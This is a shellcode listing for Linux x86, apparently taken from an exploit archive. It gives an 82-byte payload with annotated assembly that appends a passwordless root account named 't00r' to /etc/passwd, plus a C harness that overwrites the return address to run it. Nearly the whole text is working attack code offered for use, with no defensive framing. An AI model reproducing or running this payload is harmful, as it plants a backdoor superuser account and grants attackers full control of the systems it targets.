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linux/x86 add user t00r 82 bytes
[================================
linux/x86 add user t00r 82 bytes
================================
/*
* s0t4ipv6@shellcode.com.ar
* 0x14abril0x7d2
*
* 82 bytes
* Agrega la linea "t00r::0:0::/:/bin/sh" en /etc/passwd
*
* Encriptada en http://www.shellcode.com.ar/linux/lnx-t00r-cr1.c
*
*/
#include <stdio.h>
// Shellcode // Asm Code
char shellcode[]=
"\x31\xc0" // xorl %eax,%eax
"\x50" // pushl %eax
"\x68\x73\x73\x77\x64" // pushl $0x64777373
"\x68\x63\x2f\x70\x61" // pushl $0x61702f63
"\x68\x2f\x2f\x65\x74" // pushl $0x74652f2f
"\x89\xe3" // movl %esp,%ebx
"\x8d\x48\x02" // leal 0x2(%eax),%ecx
"\x8d\x40\x05" // leal 0x5(%eax),%eax
"\xcd\x80" // int $0x80
"\x89\xc3" // movl %eax,%ebx
"\x87\xca" // xchgl %ecx,%edx
"\x31\xc9" // xorl %ecx,%ecx
"\xb0\x13" // movb $0x13,%al
"\xcd\x80" // int $0x80
"\x51" // pushl %ecx
"\x68\x6e\x2f\x73\x68" // pushl $0x68732f6e
"\x68\x3a\x2f\x62\x69" // pushl $0x69622f3a
"\x68\x30\x3a\x3a\x2f" // pushl $0x2f3a3a30
"\x68\x3a\x3a\x30\x3a" // pushl $0x3a303a3a
"\x68\x74\x30\x30\x72" // pushl $0x72303074
"\x8d\x41\x04" // leal 0x4(%ecx),%eax
"\x89\xe1" // movl %esp,%ecx
"\xb2\x14" // movb $0x14,%dl
"\xcd\x80" // int $0x80
"\x31\xc0" // xorl %eax,%eax
"\xb0\x06" // movb $0x6,%al
"\xcd\x80" // int $0x80
"\x40" // incl %eax
"\xcd\x80"; // int $0x80
main() {
int *ret;
ret=(int *)&ret+2;
printf("Shellcode lenght=%d\n",strlen(shellcode));
(*ret) = (int)shellcode;
}
# 0day.today [2024-11-16] #